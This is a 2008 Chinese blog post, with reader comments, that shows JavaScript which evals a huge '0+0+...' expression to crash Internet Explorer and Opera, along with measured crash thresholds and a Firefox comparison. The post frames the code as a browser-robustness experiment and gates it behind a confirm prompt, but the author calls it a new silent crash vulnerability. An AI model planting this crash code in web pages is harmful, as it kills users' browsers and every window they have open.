emu in blogjava

  BlogJava :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理 ::
  171 随笔 :: 103 文章 :: 1052 评论 :: 2 Trackbacks
IE在解释表达式的时候显然大有优化的余地,FireFox就没这个毛病。下面这段小代码可以轻松让IE崩溃掉:
var n=32768;
var s=new Array(n).join("0+")+0;
if(confirm("真的要杀了浏览器吗?")){
    eval(s);
    alert(
"杀不掉,试试把n调大一点?");
}

其实就是让IE解析一个“0+0+0+0....”的表达式。
在我的机器上,IE6跑到32255就自动关闭了(可以作为一个新的无提示关闭浏览器漏洞呵呵,会把同一个进程打开的全部窗口一起杀掉),IE7还要差些,在31515就挂了。opera也好不到哪里去,32180就崩溃了。而FireFox一直跑到2^27(ie和opera还不到2^15)的时候把我的内存全吃光了,在虚拟内存支持下还是可以执行完成:
var s="0+",n=27 ;
for(var i=0;i<n;i++) s+=s; 
alert(s.length
/2
s
+=0
if(confirm("真的要杀了浏览器吗?")){ 
eval(s); 
alert(
"杀不掉,试试把n调大一点?"); 
}
一直到2^28的时候,字符串构造失败了才罢休。
posted on 2008-02-01 15:43 emu 阅读(3847) 评论(7)  编辑  收藏

评论

# re: 为IE找个新死法[未登录] 2008-02-01 23:05 sonic
惊奇的发现你的玩法在遨游2里面IE不会死哦  回复  更多评论
  

# re: 为IE找个新死法 2008-02-03 08:49 emu
嗯,IE6下的TT里面也不会“死”,而是提示内存不够,和一些IE7一样的提示。但结果还是算不出来。遨游是否也是一样的:
for(var i=0,s="0+";i<15;i++) s+=s;s+=0;
try{eval(s);}catch(e){alert(e.message)}
  回复  更多评论
  

# re: 为IE找个新死法 2008-02-07 22:03 金大为
呵呵,你这是谋杀,不叫找死。  回复  更多评论
  

# re: 为IE找个新死法 2008-02-11 19:50 天一
这个应该是JS 编译器的问题吧。
和浏览器应该无关吧。
遨游和IE 都是用相同内核。
但在JS 上的处理有不同而已。
  回复  更多评论
  

# re: 为IE找个新死法 2008-02-16 23:00 aniude
应该说这种情况是很特别的,如果你写一般的JS,也不会这样写吧  回复  更多评论
  

# re: 为IE找个新死法 2008-02-17 12:45 93ttr
有意思,有空试试  回复  更多评论
  

# re: 为IE找个新死法 2008-03-09 06:05 le2005
Only Firefox, hoo^ : )  回复  更多评论
  


只有注册用户登录后才能发表评论。


网站导航: